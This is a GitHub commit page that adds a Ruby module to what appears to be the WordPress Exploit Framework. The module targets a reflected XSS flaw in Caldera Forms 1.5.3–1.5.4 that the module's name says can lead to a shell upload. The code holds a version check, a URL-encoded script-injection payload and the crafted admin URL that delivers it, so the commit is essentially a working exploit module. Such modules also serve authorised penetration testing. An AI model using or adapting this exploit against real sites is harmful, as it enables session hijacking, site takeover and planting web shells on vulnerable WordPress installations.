Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 9f32dc0

Browse files
committed
Add Caldera Forms v1.5.3 to v1.5.4 reflected XSS shell upload
1 parent 2763cfa commit 9f32dc0

File tree

1 file changed

+33
-0
lines changed

1 file changed

+33
-0
lines changed
Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
# frozen_string_literal: true
2+
3+
class Wpxf::Exploit::CalderaFormsV154XssShellUpload < Wpxf::Module
4+
include Wpxf::WordPress::ReflectedXss
5+
6+
def initialize
7+
super
8+
9+
update_info(
10+
name: 'Caldera Forms 1.5.3 to 1.5.4 Reflected XSS Shell Upload',
11+
author: [
12+
'Will Brand', # Dislosure
13+
'rastating' # WPXF module
14+
],
15+
references: [
16+
['WPVDB', '8940']
17+
],
18+
date: 'Sep 08 2017'
19+
)
20+
end
21+
22+
def check
23+
check_plugin_version_from_readme('caldera-forms', '1.5.5', '1.5.3')
24+
end
25+
26+
def xss_payload
27+
url_encode("\"><script>#{xss_ascii_encoded_include_script}</script>")
28+
end
29+
30+
def url_with_xss
31+
"#{wordpress_url_admin_options}?page=caldera-forms&edit=#{xss_payload}"
32+
end
33+
end

0 commit comments

Comments
 (0)